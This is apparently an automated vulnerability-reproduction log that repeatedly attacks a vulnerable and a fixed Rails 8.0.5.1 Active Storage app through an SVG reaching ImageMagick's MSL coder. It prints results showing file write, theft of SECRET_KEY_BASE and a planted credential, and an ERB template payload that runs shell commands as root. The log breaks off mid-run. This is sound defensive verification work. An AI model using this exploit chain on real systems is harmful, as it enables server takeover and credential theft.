=== reproduction start 2026-11-04T13:53:36Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 ERROR: unexpected RAILS_VERSION in worktrees === reproduction start 2026-11-04T13:55:12Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied 4e23cbdb3c7417d577e58f15f742628e79e8348a822fd6f649ea16ba2223dc67 bd7eab963be22fc4a9e8e497411e89c91a0c0cf68222b5f4f448599b8ac3cc8f === reproduction start 2026-11-04T13:59:11Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied de1d64003014b0aef7550587021d7a209011558e5d289cecb8fc846b43b8e15d 1c76ebb75eef47ff539379fd880dcdde092389b9a436d0750661209a27d5ab30 bundle/repro/reproduction_steps.sh: line 193: syntax error near unexpected token `(' --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=127 --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=127 --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=127 --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=127 --- vulnerable attempts produced all effects: false --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": false, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_2/attack.stdout" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.stdout": "28e23fd226a35f178afd07fbe1b9be081a5cc0f12ad590d5ac3628217e3fbf76", "logs/attempts/fixed_1/server.log": "f938a12b494332a3bf9feb29e5c6f2d65ebfbd726a0f421ee762eb55b8dcd3b0", "logs/attempts/fixed_2/attack.stdout": "28e23fd226a35f178afd07fbe1b9be081a5cc0f12ad590d5ac3628217e3fbf76", "logs/attempts/fixed_2/server.log": "f938a12b494332a3bf9feb29e5c6f2d65ebfbd726a0f421ee762eb55b8dcd3b0", "logs/attempts/vuln_1/attack.stdout": "28e23fd226a35f178afd07fbe1b9be081a5cc0f12ad590d5ac3628217e3fbf76", "logs/attempts/vuln_2/attack.stdout": "28e23fd226a35f178afd07fbe1b9be081a5cc0f12ad590d5ac3628217e3fbf76" }, "notes": "vulnerable effects complete: false; fixed version clean: true" } === reproduction NOT confirmed === === reproduction start 2026-11-04T14:02:07Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied 5b75e43eda9e6d04ee43576be80d958458b1e90207f0db6b462114d5e36ae822 f652d4e9f8411543a9abb335412e7e314f6f73cea9ceb8716b38103cacb96aea --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=1 --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=1 --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 --- vulnerable attempts produced all effects: false --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": false, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_2/attack.stdout" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.stdout": "6676a09deb5379a74a4cc0935023c4e8440b297706aaa1b5e1550699ff0eedae", "logs/attempts/fixed_1/server.log": "9c28e84e4867e92226429bc50323eb000d321e025019054fa7899493c9a1882e", "logs/attempts/fixed_2/attack.stdout": "6821d2f4ad51786e34b71c35c87e82bb41b09aa50a1080e3479dee8113f389d1", "logs/attempts/fixed_2/server.log": "e07d7a34c0c7afff6e004c8934056571af3463145155b5c3e729215c2bf10f9f", "logs/attempts/vuln_1/attack.stdout": "69815cba5e5e19bc21a56497b16c58118e773bae21278302a095ae534bf77250", "logs/attempts/vuln_2/attack.stdout": "7ada58b882b6b316b289aacaff090b6d7835096285c297c6f8ce1537d8623616" }, "notes": "vulnerable effects complete: false; fixed version clean: true" } === reproduction NOT confirmed === === reproduction start 2026-11-04T14:04:41Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied 32925638596e2787bfade354a358a5b722a9128f1faae7b3e5c18e60ae3ac804 f29ef81436fdc5de0f4b3e4533aaca1c8a2d1ce04be44ac993d9555681f85f1d --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:04:54Z exfiltrated 1024 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: False) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:04:54Z response after the template write contains command output: None /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:04:54Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 1024, "exfil_contains_secret_key_base": true, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:04:56Z exfiltrated 1024 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: False) /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:04:56Z response after the template write contains command output: None /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:04:56Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 1024, "exfil_contains_secret_key_base": true, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:04:59Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:04:59Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:04:59Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:05:01Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:05:01Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:05:01Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: false --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": false, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload.msl", "logs/attempts/vuln_1/06_payload.svg", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.stdout": "1e87bea9360907079c4f4767c0b7d6ba0fd36025ae23d4e529cb9be0afe7d2ba", "logs/attempts/fixed_1/server.log": "dab81d9b2b9acbe451a309dbd7f2cff68fcfc48c95196af4e02338c0a0b2c726", "logs/attempts/fixed_1/summary.json": "3e0bb34251dd39a7de540daf7c6fc258ac12894b5db4b98d9b00cde777f96da2", "logs/attempts/fixed_2/attack.stdout": "9d1c9f4905b9001f99d556dc7fe9392dc6e1dc65f4af59e7651b037047323dcb", "logs/attempts/fixed_2/server.log": "5f3d766a55f3e0699d7abfac1390db9a9e0eab47b8f7ac7853800dcd9b39b5be", "logs/attempts/fixed_2/summary.json": "3e0bb34251dd39a7de540daf7c6fc258ac12894b5db4b98d9b00cde777f96da2", "logs/attempts/vuln_1/05_payload.msl": "8c81dd5d93bc2870ceb4c2cc0875f217ffc329d0bd152f7b0a6a6297fd086aaf", "logs/attempts/vuln_1/06_payload.svg": "0186a2404bebd9fcb48871c1bc72aea186188cb2d7da222a590622facb0fa56c", "logs/attempts/vuln_1/10_arbitrary_write.txt": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "logs/attempts/vuln_1/12_exfil_environ.txt": "f3d3da207aa749da1aedb5b537d2e5efc9c6eaa9d3a2494105944ef8f77545c1", "logs/attempts/vuln_1/13_response_after_template_write.html": "8027de9fed5fa049df7e7896ce731b4e51fa28a9cd54bb4035db4d7cfb08d026", "logs/attempts/vuln_1/attack.stdout": "100e97d64c790b3e9b29f0fa9a9235e7f17b8e6d21d59431cd800255f589d904", "logs/attempts/vuln_1/summary.json": "797292b0b9c61a265e23e0329ae38a78e3adecffbd7921620fdd2e76002bfc2e", "logs/attempts/vuln_2/10_arbitrary_write.txt": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "logs/attempts/vuln_2/12_exfil_environ.txt": "f3d3da207aa749da1aedb5b537d2e5efc9c6eaa9d3a2494105944ef8f77545c1", "logs/attempts/vuln_2/13_response_after_template_write.html": "6f2ba52060540064e9fe316f4895480ba04f6e4d93e2a7a09bdebb9551aeb74e", "logs/attempts/vuln_2/attack.stdout": "9b7d402fb7112c0e3849fb08ac5336829ddae7198d52782eb075f62b7a015e11", "logs/attempts/vuln_2/summary.json": "797292b0b9c61a265e23e0329ae38a78e3adecffbd7921620fdd2e76002bfc2e" }, "notes": "vulnerable effects complete: false; fixed version clean: true" } === reproduction NOT confirmed === === reproduction start 2026-11-04T14:08:16Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied d07eb03154e60c567072d556aa0e6bf684e5283d155bda5548aeba86b5ff7d09 72184958655f906f7c4d150918af2e6aace41b385d9336ef7a30ca09d42514a0 --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:08:31Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:08:31Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:08:31Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"touch /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "MARKER_PRESENT", "rce_ok": true} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:08:34Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:08:34Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:08:34Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"touch /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "MARKER_PRESENT", "rce_ok": true} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:08:40Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:08:40Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:08:40Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:08:44Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:08:44Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:08:44Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: true --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": true, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload.msl", "logs/attempts/vuln_1/06_payload.svg", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.stdout": "c1239117c4f151cb70117ce8b8be03a73805a3dac9b475be88ac682ada5fbc9a", "logs/attempts/fixed_1/server.log": "f4dd096ca4d564579425cf321429ddd4f620e8f2a3b829f97948cfcbe8a9b142", "logs/attempts/fixed_1/summary.json": "7879af3b56d031262f657cf3e4dddc8d80c3b929f787a74c6a58e14eab14aa15", "logs/attempts/fixed_2/attack.stdout": "7416201cab50b28db0283838e6c381b109b5695d0f18a49ecd32541bb9a01366", "logs/attempts/fixed_2/server.log": "44a39a75b14ee38d50328f25745031d2335dc3c830b0c02924b50a66a8e652ea", "logs/attempts/fixed_2/summary.json": "7879af3b56d031262f657cf3e4dddc8d80c3b929f787a74c6a58e14eab14aa15", "logs/attempts/vuln_1/05_payload.msl": "8c81dd5d93bc2870ceb4c2cc0875f217ffc329d0bd152f7b0a6a6297fd086aaf", "logs/attempts/vuln_1/06_payload.svg": "0186a2404bebd9fcb48871c1bc72aea186188cb2d7da222a590622facb0fa56c", "logs/attempts/vuln_1/10_arbitrary_write.txt": "63eea89674e71598c3bb4bbd785808de89b1ce59b8460fe38debaf5d0d48db9c", "logs/attempts/vuln_1/12_exfil_environ.txt": "3261069ad846740d1d763837525435a8cbd44606bc38e61b2fd481b58a899bc8", "logs/attempts/vuln_1/13_response_after_template_write.html": "3c9ab4384e79cccf2efc0d05c850ba2068ac4a6ac35575fb33540bf7591739d8", "logs/attempts/vuln_1/attack.stdout": "5d1fd2471af9e752f6834930626068cc4b23467f213b37389ca617b4c9dbb682", "logs/attempts/vuln_1/summary.json": "e6b854df1b60991fde845c77b0496788ac62c751d0c5a9d0c98e3d70e8997067", "logs/attempts/vuln_2/10_arbitrary_write.txt": "63eea89674e71598c3bb4bbd785808de89b1ce59b8460fe38debaf5d0d48db9c", "logs/attempts/vuln_2/12_exfil_environ.txt": "3261069ad846740d1d763837525435a8cbd44606bc38e61b2fd481b58a899bc8", "logs/attempts/vuln_2/13_response_after_template_write.html": "4c0cb4cb59990e19caeaaf99c40a2d8062df1d27c3d3ca34637df742700e2776", "logs/attempts/vuln_2/attack.stdout": "d890185b528200ecf3b5d434f0171ed2c9c54f64e1d1efcdc437a90fcd9d6ae8", "logs/attempts/vuln_2/summary.json": "e6b854df1b60991fde845c77b0496788ac62c751d0c5a9d0c98e3d70e8997067" }, "notes": "attacker-controlled SVG reached ImageMagick MSL through the Active Storage image analyzer at attach time on activestorage 8.0.5.1: arbitrary file write, arbitrary file read of /proc/self/environ and of a planted credential file exfiltrated through the attacker's own blob, and code execution through a template the MSL write replaced. Fixed 8.0.5.2 refuses the MSL coder through the shipped ImageMagick policy." } === reproduction confirmed === === reproduction start 2026-11-04T14:11:26Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied 9e3650eee2e8d17179caab5354dd8efba499aaf475014f60220672a54b53e88d dabfff707960f02e352ae7507557aa47f4c79b777373f34f034dd00cd5f2a95d --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:11:38Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:11:38Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:11:38Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_841517157f8b > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_841517157f8b", "rce_marker_expected": "PRUVA_RCE_841517157f8b", "rce_ok": true} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:11:40Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) 